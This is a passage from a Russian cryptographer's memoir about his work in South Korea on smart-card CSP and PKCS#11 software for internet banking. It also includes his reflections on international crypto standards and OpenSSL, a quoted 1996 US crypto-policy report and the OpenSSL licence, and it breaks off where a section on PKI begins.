+
Посвящение автора: "Нашим любимым преподавателям с Технического факультета ВШ КГБ СССР посвящается..."
РЕЗУЛЬТАТ ПРОВЕРКИ ПОДПИСИ
Данные электронной подписи
Ссылка на политику подписи
Закрыть

Криптография

и

Свобода

 

Книга 2

Михаил Масленников

 

 

 

 

 

 

 

Михаил Масленников

 

 

 

 

Криптография и свобода

 

 

 

 

 

 

Автограф

2014

- 2 -

ПРЕДИСЛОВИЕ

 

Я благодарен всем, кто прочитал мою первую книгу

«Криптография и Свобода», которая была написана в Сеуле

почти десять лет тому назад.

 

Великолепная криптографическая школа, созданная в начале

60-х годов прошлого века прекрасными специалистами,

фанатами своей профессии, заслуживала того, чтобы о ней

узнали современные читатели. Школа как в прямом, так и в

переносном смысле, включающая в себя вольнолюбивый 4

факультет в специфической структуре Высшей

Краснознаменной Школы КГБ СССР, университетские

традиции, привнесенные на факультет его основателями,

уникальный состав преподавателей факультета,

интереснейшая специальность, дружный студенческий

коллектив. Теперь, после 30 с лишним лет с момента его

окончания стало совершенно очевидно, что

криптографическое образование - надежный и

востребованный капитал, остающийся в силе при всяких

политических катаклизмах в нашей и не только нашей стране.

Сейчас, к сожалению, профессия инженера, создателя

материальных и интеллектуальных ценностей, не так

популярна, как в те 70-е годы: нефть, распределение

нефтяных денег, торговля, юристы и экономисты куда

понятнее и престижнее. Но тем, кто все же решил стать

инженером и связать свою жизнь с производством, а не

распределением, я хочу дать достаточно тривиальный совет:

попробуйте свои силы за границей. И совсем не обязательно

уезжать из России навсегда, иногда достаточно нескольких

лет, после чего тянет назад. Но вырваться в иное измерение,

иные условия труда, иные критерии оценки специалиста –

необходимо.

Про то, как мне довелось постигать эти истины – в этой

книге.

 

М.Масленников

Москва, 2011.

- 3 -

Предисловие
Корея
Public Key Infrastructure (PKI)
Международные криптографические стандарты
Сеул
Сказка про числа, которые не хотели ни с кем делиться
Криптографическое мироздание
RSA vs EC
Назад в будущее
MCSSHA
12 мая 1943 года

Оглавление

- 4 -

- 5 -

Корея

 

 

По большому счету, поездка в Корею напоминала

авантюру, схожую с принятым в молодости решением поступать

на 4 факультет Высшей Школы КГБ. Интуитивно ясно, что там

нужны специалисты-криптографы, но какова при этом будет

проза жизни в незнакомой стране?

Но по сравнению с абсолютной неизвестностью о 4

факультете ВКШ в 1974 году, о Южной Корее в 2002 году было

известно, что это динамически развивающаяся страна, причем

развивающаяся исключительно за счет своей промышленности,

производящей известную всему миру электронику, бытовую

технику и автомобили. Как корейцы смогли построить такую

страну без нефти и газа? Что такое типичная корейская

компания, в которой мне предстояло работать? Ну и наконец

самый интересный для меня вопрос: что представляют из себя

корейские специалисты-криптографы?

В детстве я любил читать газеты, и в то время (конец 60-х

годов) о Южной Корее писали не иначе, как о марионеточной

проамериканской стране. Возможно, какая-то доля истины в

этом и была: страна жила на американские дотации, которые

зачастую банально разворовывались - некий аналог легких

нефтяных денег в современной России. Но затем власть в Сеуле

захватили военные и, как теперь стало ясно, они навели порядок

в экономике. Вместо банального разворовывания деньги стали

вкладываться в закупку новых технологий и развитие

производства. Через 10 – 15 лет о Южной Корее заговорили как

об азиатском тигре и южнокорейские товары стали завоевывать

мир. Вот такая краткая и поучительная история со счастливым

концом про корейское экономическое чудо. Ну а мне предстояло

увидеть это чудо своими глазами и даже принять некоторое

участие в том, чтобы оно стало еще чудеснее. А причина, по

которой корейцы в 2002 году стали искать зарубежного

криптографа, была простая: у них накануне по Интернету

утащили из одного банка $50000. Это, конечно, не чеченские

авизо, но что-то на ту же тему. История получила широкую

огласку и, перефразируя популярную песню Андрея Макаревича,

корейский исполком забил в колокола.

- 6 -

Здесь настала пора познакомиться с корейской

криптографией. На мой взгляд, таких богатых криптографических

традиций, как в России, у корейцев нет, но они умудрились

примерно на 10 лет раньше, чем в России, сделать

криптографическую защиту бытовой и общедоступной.

Например, полноценный Internet Banking и общенациональный

сертификационный центр Yessign в Корее существуют уже с

конца 90-х годов. Поход ногами в банк считается здесь почти

неприличным, все операции – по Интернету. А это, в первую

очередь, предполагает аутентификацию пользователя

банковским сервером, а аутентификация – это digital signature,

по-русски – электронно-цифровая подпись или ЭЦП, слово,

которое только сейчас начинает входить в обиход россиян.

Корейцы не изобретали своих оригинальных алгоритмов ЭЦП -

как и в большинстве развитых стран они применяют алгоритм

RSA. Они не ломали через колено CRYPTO API – встроенный в

Windows криптографический интерфейс - ради внесения в него

каких-то своих «изюминок», такое ломание всегда чревато

сбоями и конфликтами в работе компьютера. Корейская

специфика процесса аутентификации была внесена аккуратно и

осторожно, руководствуясь принципом: CRYPTO API священно и

неприкосновенно. Все это, а еще и значительно меньшая

ретивость чиновников, в совокупности и дали корейцам выигрыш

в 10 лет.

Мне, безусловно, было очень интересно познакомиться с

корейской криптографической технологией и в этой книге я еще

не раз ее коснусь. Ну а как же там при такой технологии

умудрились утащить из банка $50000? Как оказалось, довольно

просто: хакеры просканировали память компьютера и нашли в

ней секретный ключ. Как защититься от подобных атак – ответ

тоже достаточно очевиден: спрятать секретный ключ куда-нибудь

в более надежное место, например в смарт-карту, а работу с ним

осуществлять с помощью какого-нибудь общеизвестного

криптографического интерфейса: Cryptography Service Provider

(CSP) или специализированного интерфейса для смарт карт

PKCS#11. Эти три слова: Smart Card, CSP и PKCS#11 стали

ключевыми за все время моей работы в Южной Корее.

Ну а что же представляет из себя типичная корейская

- 7 -

софтверная компания и каковы особенности работы в ней

российского специалиста? Здесь надо отметить, что помимо

российских программистов корейцы приглашают на работу также

программистов из других стран, но у россиян, как правило, более

основательное базовое образование. В компании Shinhwa, где я

начинал свою корейскую «карьеру», было четверо россиян и

один индиец. В криптографии же разбирался только я один, все

остальные, как корейцы, так и иностранцы, делали

специализированное ПО для какого-то устройства.

Первоначальная цель моей работы была такой: сделать Smart

Card CSP для системы Internet Banking корейского Kookmin Bank,

по-русски – народный банк, некий аналог нашего Сбербанка, 13

ый рейтинг в мировой классификации крупнейших банков.

Про все перипетии создания этого CSP я расскажу чуть позже,

здесь же только отмечу, что в отличии от 1992 года, когда мне

приходилось практически в одиночку решать все технические

вопросы при создании системы защиты телеграфных авизо для

Центрального Банка России: от разработки оригинального

алгоритма вычисления кода подтверждения достоверности до

обучения операционисток ЦБ работе с программной

реализацией Криптоцентр-Авизо – в Корее я делал только строго

определенную задачу – программную реализацию Smart Card

CSP. Буквально сочетание «Smart Card» переводится на русский

язык как «умная карта». Внутри карты есть простенький

процессор, с помощью которого можно выполнять некоторые

криптографические и не только криптографические операции.

Некоторые операции можно выполнять на уровне hardware, т.е. с

помощью команд, встроенных в архитектуру процессора. Как

правило, эти операции выполняются достаточно быстро,

типичным примером такой операции является выработка

случайных чисел. Если какую-то операцию нельзя выполнить на

уровне hardware, то в смарт-карте есть своя внутренняя

операционная система, позволяющая программировать

некоторые функции на языке, схожем с C или JAVA, однако такая

функция, реализованная на уровне software, будет работать

намного медленнее, чем на hardware. Например, выработку

случайных ключей для алгоритма RSA реализовать в Smart Card

на уровне software за разумное время практически невозможно.

Саму смарт-карту создавала и программировала компания

- 8 -

LG-Hitachi, причем японская Hitachi штамповала чипы и

обеспечивала их начинку на уровне hardware: в частности, не

сразу, а примерно через год японцы научились довольно быстро

вырабатывать случайные ключи для алгоритма RSA на

аппаратном уровне – технически это весьма нетривиальная

проблема. Корейская LG писала необходимые программы

(applets) для этих чипов, т.е. обеспечивала уровень software. Эти

applets затем прописывались в чипы с помощью специальных

устройств и образовывали так называемый набор APDU команд,

с помощью которых осуществляется взаимодействие чипа с

компьютером. Ну а моя работа – вставить эти APDU команды в

текст программы для CSP.

В Hitachi чипы проектировал японец Номура, веселый и

общительный парень лет 30, я встречался с ним только один

раз, когда он приезжал в Корею. Мне же, несмотря на

неоднократные приглашения Номуры, съездить в Японию так и

не удалось: для россиян слишком сложная процедура

оформления японской визы. А в LG аплеты писал small mr. Lee –

маленький мистер Ли, ибо в том подразделении LG, с которым

мы контактировали, было целых три мистера Ли, и чтобы как-то

их различать, пришлось обозвать их как Huge, Big and Small в

соответствии с их служебным положением. Для себя я называл

small mr. Lee просто Кирюшкой, он был очень похож на одного

моего дачного знакомого. Кирюшка учился в Австралии и

неплохо говорил по-английски. LG откомандировала его на

Shinhwa и там у нас с ним сложился общий дуэт по окучиванию

Kookmin Bank.

Мой первый корейский босс – тоже мистер Ли (по моим

впечатлениям, 40% корейцев – мистеры Ли, 30% – мистеры

Кимы) – чем-то напоминал уже известного читателю по первой

книге «Криптография и Свобода» российского г-на К. Но теперь у

меня уже имелся опыт общения с подобными людьми, так что

здесь я не питал лишних иллюзий. А вот Президент компании

Shinhwa – мистер Хо – оставил о себе очень приятные

воспоминания. Это был веселый, энергичный и очень активный

человек, он постоянно организовывал различные интересные

вылазки: то на корейский горнолыжный курорт, то на водных

лыжах, то на «живой» концерт какой-то корейской рок-звезды,

- 9 -

причем все расходы оплачивала компания Shinhwa.

 

По корейским (хорошим) традициям каждая компания

организовывает для своих сотрудников два раза в год – весной и

осенью – пикники на природе. Россияне хорошо представляют

себе смысл слова «пикник на природе», корейское понимание -

примерно такое же. Обычно в пятницу в обед к офису компании

подаются автобусы, люди и выпивка погружаются в них, и

автобусы везут компанию километров за 150 на юг (на севере –

Северная Корея) от Сеула. Там в придорожном кабачке пикник

начинается, разгорается и т.д. в соответствии с корейскими

стандартами, отличающимися от российских только тем, что

вместо водки – корейская соджа, рисовая водка крепостью 24%.

Часам к 12 ночи фирма опять погружается в автобусы, которые

отвозят отдохнувших сотрудников в заранее забронированный

отель, чаще всего напоминающий турбазу. Ночь в комнате в

спартанских условиях (на полу, легкий матрац и соломенная

подушка) и на утро – отрезвляющие мероприятия: спортивные

изыскания, футбол, лазание по горам и т.п. Во второй половине

дня пришедшая в себя фирма отвозится назад в Сеул до

следующего пикника.

 

К сожалению, где-то к 2005 году IT-бизнес

(информационные технологии) компании Shinhwa забуксовал.

Его основу составляли продажи какого-то устройства, которое к

тому времени, по-видимому, уже морально устарело, а контракт

с LG на поставку SmartCard CSP для Kookmin Bank, хотя и был к

тому времени выполнен, но не принес желаемых финансовых

дивидендов. Поэтому мистер Хо решил этот бизнес продать, а

новый владелец собирался перепрофилировать компанию на

BT-бизнес (био технологии). Все законно, владелец компании

волен поступать со своей собственностью так, как ему

заблагорассудиться. Но больше всего меня в этой истории

поразило отношение старого и нового владельцев к персоналу

фирмы: ведь многим сотрудникам, не желающим участвовать в

BT-бизнесе (по-простому – работать на аптеку), в том числе и

мне, предстояло искать себе новую работу.

Передача бизнеса осуществлялась где-то в начале 2006

года, поэтому традиционный осенний пикник 2005 года новый и

- 10 -

Компания Shinhwa у главного входа в диснейленд.

старый владельцы решили провести в декабре 2005 года и

сделать его запоминающимся, чтобы у сотрудников не осталось

чувства обиды к компании. Вместо традиционной схемы: в

автобусы и на природу, фирма была полностью погружена в

самолет и отправилась на три дня в Гонконг.

 

Сразу после прилета - в автобусы и в гонконгский диснейленд.

Дерево Тарзана, путешествие по реке с полной имитацией

живых горилл, бегемотов, жирафов, аборигенов-людоедов и

извержения вулкана, 3D-кинотеатр, в котором до Miki Mouse так

и хочется дотронуться рукой, веселая и радостная атмосфера

праздника. Все три дня я с жадностью пытался все

сфотографировать и снять на видео и, возможно, несколько

помещенных ниже фотографий из этого турне помогут читателю

тоже на мгновение окунуться в его атмосферу, полную чудес,

юмора и фантазии, так необходимых для творческой работы.

- 11 -

9
9
9
8

- 12 -

И в заключение «китайского» дня было феерическое

представление с морем красок и огня.

9
9

 

  • Фонтан на входе в диснейленд.

  • Вулкан.

  • Дерево Тарзана.

  • Тарзан.

  • Вид с дерева Тарзана.

  • Самогонный аппарат Тарзана.

  • Второй день был целиком посвящен самому Гонконгу.

  • А на третий день нас повезли в китайский город Шенг-Шен, что в 30 минутах от Гонконга на электричке. Шенг-Шен вырос за последние 15 лет как на дрожжах за счет электроники, благо рынок – Гонконг – под боком. Там сейчас еще построили великолепный парк-музей китайской истории с имитацией Великой Китайской Стены.

- 13 -

Вот такие в Корее нравы и обычаи. Используя терминологию

программиста, я бы назвал Корею страной с дружественным

интерфейсом.

 

Однако, пора поговорить и о чем-то более существенном,

чем о самогонном аппарате Тарзана и китайских развлекалочках.

О криптографии более детально.

 

Международные криптографические стандарты

 

 

В моей «прошлой» криптографической жизни (в КГБ) само

словосочетание «криптографические стандарты» было каким-то

нелепым. Основная задача – обеспечение стойкости шифра,

удобства его реализации – вторичны. Какие тут могут быть

стандарты! Криптосхема – понятие секретное, гриф секретности

всего на одну ступень ниже, чем у ключей. Таков был подход к

военной и государственной криптографии до появления

персональных компьютеров и Интернет.

Появление компьютеров положило начало гражданской

криптографии. Вопросы стойкости отошли на второй план,

поскольку возможности компьютера позволяли реализовывать

любые криптографические фантазии: если DES (американский

Data Encryption Standard) вызывал какие-то сомнения в

стойкости из-за сравнительно короткого ключа, то крутим его 3

раза на разных ключах, получаем 3DES. На первый же план

вышли вопросы встраивания криптографических процедур в

общеизвестные приложения: электронную почту, текстовые

редакторы, файловую систему и т.п. Мои первые программы

больше напоминали «криптографические идеи чучхе» - весь

интерфейс свой, полностью выполняющий некоторый

законченный цикл задач, как, например, было в

автоматизированной системе электронного документооборота

TeleDoc. Практически с первого же дня пребывания в Корее

стало ясно, что здесь, в условиях высокоразвитых

информационных технологий, эти идеи устарели. Нужно

переучиваться жить по международным криптографическим

стандартам.

- 14 -

К таким стандартам, в первую очередь, я бы отнес

разработанный Microsoft интерфейс Cryptography Service

Provider, или сокращенно CSP. Это набор функций,

удовлетворяющих определенным правилам Microsoft, и

позволяющий выполнять наиболее типовые криптографические

задачи: выработку ключей, шифрование, хеширование, подпись

и проверку подписи и т.п. Все эти функции объединяются в

динамическую библиотеку, которая затем регистрируется под

уникальным именем в системном реестре Windows. Я позволю

себе без надобности не вдаваться слишком глубоко в

технические детали CSP, опасаясь что книга при этом будет

скучной для большинства нормальных читателей, которым они

неинтересны. Если же кто-то захочет узнать более подробно о

функциях интерфейса CSP, то для этих целей на сайте Microsoft

имеется обширная техническая документация. Нормальный

программист-разработчик приложений под Windows,

планирующий использовать в них криптографические функции,

просто обязан полностью перепахать всю документацию

Microsoft по CSP.

Для «криптографических обывателей», да и просто для

ленивых программистов (лень – двигатель прогресса), могу

пересказать CSP своими словами, как в советское время

пропагандисты пересказывали на политзанятиях политику

Коммунистической Партии и Советского Правительства. Не

спите, берите ручки, пишите конспект.

 

1)CSP – обычная динамическая библиотека, содержащая

экспортируемые криптографические функции, которые можно

вызывать напрямую: LoadLibrary -> GetProcAddress.

2)Для удобства программистов Microsoft встроил в Windows

специальный интерфейс CRYPTO API, значительно упрощающий

вызов функций CSP.

3)Интерфейс CRYPTO API поддерживает только те CSP,

которые правильно зарегистрированы в реестре Windows,

каждый зарегистрированный CSP имеет персональное

осмысленное имя (как правило, отличное от названия DLL) и

электронную подпись Microsoft.

4)На каждом компьютере может быть установлено и

зарегистрировано несколько различных CSP от разных

- 15 -

производителей.

5)Интерфейс CRYPTO API дает возможность прикладной

программе загружать CSP не по названию DLL, а по его

зарегистрированному имени.

6)В операционную систему Windows уже включены несколько

CSP от Microsoft.

 

Вопросы будут? Будут. Что такое электронная подпись Microsoft?

 

Ну это такая, на первый взгляд неприятная заморочка для

разработчиков CSP, когда готовую к реализации библиотеку CSP

надо еще послать в Microsoft, чтобы там ее подписали. Пишешь

пишешь код библиотеки CSP, а проверить его толком –

проблема, не будешь же чуть ли не каждый день посылать свой

полуфабрикат в MS! Тут надо заметить, что процедура эта

абсолютно бесплатная и MS, как правило, в трехдневный срок

возвращает подписанную библиотеку.

Первые года два моего пребывания в Корее я прямолинейно

слал свой CSP на подпись в MS, через день-два всплывали

новые глюки, код CSP исправлялся и опять отсылался по тому

же адресу. Один раз меня там «взяли на заметку» и прислали

такой нестандартный ответ:

Hi Reed,

Is it okay to sign this?

В переводе на русский – достал уже. Стало ясно, что нужен

иной подход. Описанный на сайте MS способ тестирования –

временное переопределение CRYPTO API – неудобен и работает

только под Windows-2000.

Решение нашлось простое и универсальное. Полностью

выдавать свои профессиональные тайны не буду, а только

намекну: ни к чему посылать в MS все CSP, достаточно и одного

кусочка, но такого, что следующие 4 года я в MS не посылал

ничего. Сразу наступили тишина и спокойствие...

Проснувшийся advanced user с задней парты непременно задаст

и такой вопрос: а зачем вообще надо писать свои CSP, если в

Windows уже есть встроенные от MS? Отвечаю: для того, чтобы

культурно, ничего не ломая, встроить в Windows свои

криптографические «изюминки». К таким «изюминкам», в первую

очередь, относится более надежное место хранения секретного

- 16 -

ключа, оригинальные алгоритмы шифрования, надежный

генератор случайных чисел, проверка оригинальных параметров

(у корейцев в Internet Banking проверяется национальный ID,

аналог нашего ИНН) и т.п. А Microsoft Base Cryptographic Provider

хорошо использовать в каких-то бытовых целях, например, в

Outlook при шифровании писем к girlfriend.

Вот вкратце и все общие сведения о CSP. Разработчик,

создавший свой оригинальный CSP в строгом соответствии с

канонами MS, в качестве бонуса получает возможность его

использования в огромной гамме приложений под Windows: IE,

Outlook, VPN, IPSEC, WinLogOn, Adobe Acrobat и прочая, прочая,

прочая... Любимым развлечением у моих корейцев была

демонстрация потенциальным покупателям возможностей

SmartCard CSP в встроенной в Windows Vista системе

шифрования файлов (EFS) – после подсоединения Smart Card и

ввода PIN-кода автоматически расшифровывалась и выдавалась

на экран такая картинка

- 17 -

С CSP мы еще неоднократно встретимся в этой книге, это, на

мой взгляд, одна из основных криптографических рабочих

лошадок в современном мире информационных технологий. CSP

придумывали и разрабатывали, как мне кажется, в первую

очередь практики, стремясь сделать простыми и удобными

основные криптографические функции в операционной системе

Windows. А вот аббревиатуру PKCS - Public-Key Cryptography

Standards – придумали в специализированной

криптографической RSA Laboratories люди, более склонные к

теоретическим исследованиям и математическим моделям. В

этих стандартах расписаны общие принципы решения наиболее

типовых криптографических задач, например, как из пароля

пользователя выработать секретные ключи для некоторого

шифра (PKCS # 5), как создать запрос на сертификат (PKCS #

10) и т.п.

И опять же, стараясь не навязывать обычному читателю скучный

набор описаний этих стандартов, я отсылаю программистов на

сайт RSA Laboratories – там все строго и дисциплинированно. А с

остальными мы немного поговорим о PKCS # 11 – в некотором

роде аналоге-конкуренте CSP.

Если взять наиболее распространенный в Windows браузер –

Internet Explorer – то в нем все криптографические операции

выполняет CSP. Использование криптографических операций

встречается в IE довольно часто, например, когда вы заходите

на сайт по протоколу SSL: в этом случае весь ваш трафик

шифруется с использованием одноразового session key, который

также вырабатывается с помощью CSP. А вот в другом и тоже

довольно популярном браузере – Mozilla Firefox – все

криптографические операции выполняются с помощью PKCS #

11.

CSP жестко привязан к Windows, в другой операционной системе

он не работает, поскольку там нет CRYPTO API от MS. PKCS #11,

наоборот, не зависит от каких-то специфических интерфейсов,

поэтому Firefox работает как в Windows, так и в Linux, MAC OS и

прочих альтернативах MS. И, кстати, никаких хитрых подписей в

библиотеке PKCS # 11 не требуется.

PKCS # 11 изначально разрабатывался как специализированный

криптографический интерфейс для смарт-карт. Если заглянуть в

его документацию, то там основными понятиями являются слот и

- 18 -

токен – их можно наглядно интерпретировать как считыватель

смарт-карт и сама карта. Однако если хорошо покопаться в

основном меню Mozilla Firefox, то можно найти раздел

«Устройства защиты», а в нем всегда присутствует NSS Internal

PKCS # 11 Module – встроенный в этот браузер внутренний

модуль PKCS # 11, в котором слоты и токены – не «железо», а

некоторые виртуальные объекты. Никто не запрещает

программисту написать свой PKCS # 11 тоже с виртуальными

слотами и токенами. Однако в большинстве случаев интерфейс

PKCS # 11 входит в комплект поставки смарт-карты как

универсальное средство использования этой карты в

программных приложениях.

Корейцы, естественно, после того, как была наглядно доказана

порочность хранения секретного ключа для Internet Banking в

оперативной памяти компьютера, заинтересовались PKCS # 11.

Эволюция, по моим грубым прикидкам, происходила примерно

так:

1998 – 2003 – первая версия Internet Banking, для диалога с

банковским сервером используется технология ActiveX с

собственными внутренними криптографическими функциями.

Возможности использования CSP заложены, но реально не

работают, все ключи – в памяти компьютера.

2003 – 2006 – появляется возможность использования Smart

Card CSP, где секретные ключи всегда находятся только внутри

Smart Card. Для диалога с банковским сервером – прежний чуть

доработанный ActiveX, ориентированный на CSP.

2006 – 2009 – появляется ActiveX, ориентированный на PKCS #

11. В 2007 году корейское KISA (Korean Information Security

Agency) объявляет открытый конкурс на разработку чипа для

смарт-карты и интерфейса PKCS #11 к нему.

Таким образом, у корейцев произошло смещение

первоначальных приоритетов от CSP к PKCS # 11. На мой

взгляд, это объективный процесс, поскольку PKCS # 11 более

универсален и многообразен, хотя на первый взгляд кажется

громоздким.

Ну и в заключение о стандарте PKCS # 11: в 2008 году KISA

выдала первые 7 сертификатов, из них в 3 использовалась моя

разработка PKCS # 11.

А теперь, наконец, о моем самом любимом криптографическом

стандарте – OpenSSL.

- 19 -

Строго говоря, это не стандарт, а общедоступная, бесплатная,

наиболее популярная библиотека криптографических процедур,

выложенная вместе с исходными кодами на сайте OpenSSL. Но

прежде чем окунуться в OpenSSL - некоторые страницы

недавней криптографической истории. Я уже приводил их в книге

«Практическая криптография».

 

"В соответствии с решением Конгресса США (Закон 103-160 от

30 ноября 1993 г.), министру обороны предписывалось:

поручить Национальному совету по исследованиям

(NRC) провести детальное исследование по криптографическим

технологиям и национальной политике в области криптографии;

дать указание Национальному агентству безопасности

(NSA), Управлению высших исследовательских проектов

(ARPA) и другим органам министерства обороны, а также другим

федеральным органам оказывать полное содействие NRC в этой

работе….

В этом исследовании предлагалось дать оценку воздействия

криптографических технологий на интересы правительства США

по обеспечению национальной безопасности, интересы

правоохранительной деятельности правительства США,

коммерческие интересы промышленности США и интересы

охраны неприкосновенности личной жизни граждан США, а

также влияния контроля над экспортом криптографических

технологий на коммерческие интересы промышленности

США….

Отчет был подготовлен комитетом из 16 специалистов,

представляющих науку (информатику, правоведение, медицину),

государственные учреждения, частные фирмы и банки, и

отрецензирован другой группой экспертов. Предварительная

версия отчета вышла 30 мая 1996 г. и распространялась

(бесплатно) издательством, а также доступна по Интернету в

виде фотокопий страниц по http://www.nap.edu/readingroom/…

Комитет пришел к выводу, что преимущества широкого

распространения криптографии перевешивают его недостатки, и

призвал к изменению национальной политики в криптографии.

Эта политика должна преследовать следующие цели:

широкая доступность криптографии для всех законных

элементов американского общества;

- 20 -

дальнейший экономический рост и лидерство ключевых

отраслей промышленности США в глобальной экономике, в том

числе (но не только) производства компьютеров, программного

обеспечения и средств связи;

общественная безопасность и защита от внешних и

внутренних угроз.

Рекомендации комитета по национальной криптографической

политике включают следующее.

 

1.Никакой закон не должен препятствовать производству,

продаже или использованию любых видов шифрования в

пределах США.

2.Национальная политика по криптографии должна

разрабатываться исполнительной и законодательной ветвями

власти на основе открытого публичного обсуждения и

основываться на подчинении закону.

3.Национальная политика по криптографии в отношении

разработки и использования коммерческой криптографии

должна лучше согласовываться с силами рынка.

4.Экспортные ограничения на криптографию должны

постепенно смягчаться, но не должны быть отменены

полностью.

5.Правительство должно принять меры, чтобы помочь

правоохранительным органам и органам национальной

безопасности приспособиться к новым техническим

реальностям информационного века.

6.Правительство должно разработать механизмы для

обеспечения информационной безопасности в частном секторе."

 

Это выдержка из американского отчета "Роль криптографии в

обеспечении безопасности информационного

общества" (Cryptography's Role in Securing the Information

Society. Kenneth W. Dam and Herbert S. Lin, Editors. Committee to

Study National Cryptography Policy, Computer Science and

Telecommunications Board, Commission on Physical Sciences,

Mathematics, and Applications; National Research Council. National

Academy Press, Washington D.C., 1996, 688 p., index. Library of

Congress Catalog Number 96-68943, ISBN 0-309-05475-3.)

Американцы и здесь стали законодателями криптографической

- 21 -

Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)

All rights reserved.

 

This package is an SSL implementation written

by Eric Young (eay@cryptsoft.com).

The implementation was written so as to conform with Netscapes SSL.

 

This library is free for commercial and non-commercial use as long as

the following conditions are aheared to. The following conditions

apply to all code found in this distribution, be it the RC4, RSA,

lhash, DES, etc., code; not just the SSL code. The SSL documentation

included with this distribution is covered by the same copyright terms

except that the holder is Tim Hudson (tjh@cryptsoft.com).

 

Copyright remains Eric Young's, and as such any Copyright notices in

the code are not to be removed.

If this package is used in a product, Eric Young should be given attribution

as the author of the parts of the library used.

This can be in the form of a textual message at program startup or

in documentation (online or textual) provided with the package.

 

Redistribution and use in source and binary forms, with or without

modification, are permitted provided that the following conditions

are met:

1. Redistributions of source code must retain the copyright

notice, this list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright

notice, this list of conditions and the following disclaimer in the

documentation and/or other materials provided with the distribution.

3. All advertising materials mentioning features or use of this software

must display the following acknowledgement:

"This product includes cryptographic software written by

Eric Young (eay@cryptsoft.com)"

The word 'cryptographic' can be left out if the rouines from the library

being used are not cryptographic related.

4. If you include any Windows specific code (or a derivative thereof) from

the apps directory (application code) you must include an

моды. Десятилетиями проповедовавшаяся идеология

секретности в криптографии впервые рухнула в Америке. На

рубеже 2000-х годов надежные криптографические алгоритмы

стали достоянием гражданской криптографии, конкретным и

ощутимым ударом по этой идеологии секретности стал OpenSSL.

На мой взгляд, OpenSSL наиболее полно сочетает в себе

криптографию и свободу. Свободу творчества и обмена

криптографическими идеями и технологиями.

Вот оригинальные условия использования исходного кода из

OpenSSL:

- 22 -

Вкратце эти условия можно пересказать так: вот вам исходники,

делайте с ними все, что хотите, только не забудьте при этом

упомянуть их авторов, и в первую очередь Эрика Янга.

Не забудем! Эрик Янг, Тим Хадсон и вся команда OpenSSL

сделали для популяризации криптографических методов намного

больше, чем все АНБ, КГБ-ФАПСИ-ФСБ и прочие секретные

ведомства, вместе взятые. Ибо в OpenSSL приведены хорошо

отлаженные исходные коды практически всех современных

криптографических алгоритмов. Отпал вечный вопрос о

закладках и «потайных ходах» - влезайте в исходники и можете

сами убедиться в их честности.

acknowledgement:

 

"This product includes software written by Tim Hudson (tjh@cryptsoft.com)"

 

THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND

ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE

IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR

PURPOSE

ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE

LIABLE

FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR

CONSEQUENTIAL

DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE

GOODS

OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)

HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN

CONTRACT, STRICT

LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY

WAY

OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY

OF

SUCH DAMAGE.

 

The licence and distribution terms for any publically available version or

derivative of this code cannot be changed. i.e. this code cannot simply be

copied and put under another distribution licence

[including the GNU Public Licence.]

- 23 -

Сам принцип широкой открытой публикации довольно сложных

криптографических алгоритмов является гарантией отсутствия в

них каких-то критических ошибок или неоптимальных методов

реализации: тестировщиков – миллионы, если разработчики что

то проглядели – моментально выявят и подправят.

Появление OpenSSL решило и еще одну важную задачу:

ликвидацию самопальных разработок криптографических

алгоритмов. Ведь любой программист, начиная создавать какую

то криптографическую программу, интуитивно пытается сам

реализовать основные необходимые криптографические

алгоритмы: RSA, DES, RC 2 – 5, SHA1, MD 2 – 5 и т.п.

Оказывается, что этого делать не надо, как, например, не надо

писать своей операционной системы. В OpenSSL есть уже

готовые исходные коды, распространяемые свободно и

бесплатно. Нужно только не прятать голову под крыло и честно

признаться, что коды взяты из OpenSSL.

К такому выводу я пришел примерно через 2 года работы в

Корее. А начало было такое...

У корейцев была самопальная разработка основных

криптографических алгоритмов, ее осуществляла компания ETRI

в исследовательском центре города Дей-Джона. OpenSSL в те

времена (2002-2003 гг.) по каким-то причинам в Корее не

использовалась. Прямо в аэропорту мой новый корейский босс –

мистер Ли – ставит мне задачу: разработать CSP. Примерно

через месяц становится ясно, что нужны готовые реализации

базовых криптографических алгоритмов, а про OpenSSL в то

время у меня были еще достаточно смутные представления. И

тут мистер Ли приходит мне на помощь: садится на свою машину

и едет в Дей-Джон, примерно за 100 километров от Сеула,

добывать на ETRI исходники базовых криптографических

алгоритмов. Как он там их добывал – неизвестно. Но к концу дня

довольный мистер Ли привез из Дей-Джона флешку с

исходниками ETRI – прямо сюжет для очередной серии

мультфильма «Шпионские страсти»: по заданию бывшего

подполковника КГБ из корейского исследовательского центра

крадутся исходные тексты криптографичеких программ, аналоги

которых выложены в OpenSSL. Предлагаю этот сюжет всем

желающим на основе лицензионного соглашения OpenSSL.

- 24 -

После двух лет работы в Корее, когда я уже ясно представлял

себе, что такое OpenSSL, я «под ноль, бульдозером»

выкорчевал из всех своих программ продукцию ETRI и заменил

ее на OpenSSL.

..............................

Криптографического самопала в России – море. Когда я

вернулся в Россию на криптографическую софтверную фирму, то

сразу же честно признался, что моими любимыми продуктами

являются Borland C++ Builder и OpenSSL. Первая реакция:

Borland – загнивает (уже лет 20 и никак не загниет), а OpenSSL –

чуждый зарубежный продукт. Нужно все свое. Про свое – не

новая песня, ее (заменим все зарубежное ПО на свое) пели

около пяти лет назад даже некоторые высокопоставленные

чиновники. Однако, как говорил В.С. Высоцкий, «Пусть жизнь

рассудит...» Примерно через те же два года OpenSSL и в России

был признан как светлое будущее всех прогрессивных

криптографов, а самопал стали выкорчевывать и заменять на

Эрика Янга. Диалектика!

 

 

 

Public Key Infrastructure (PKI)

 

 

 

Аббревиатура PKI в повседневной жизни имеет множество

назначений. Это, в первую очередь, система выработки и

регистрации собственных уникальных ключевых параметров,

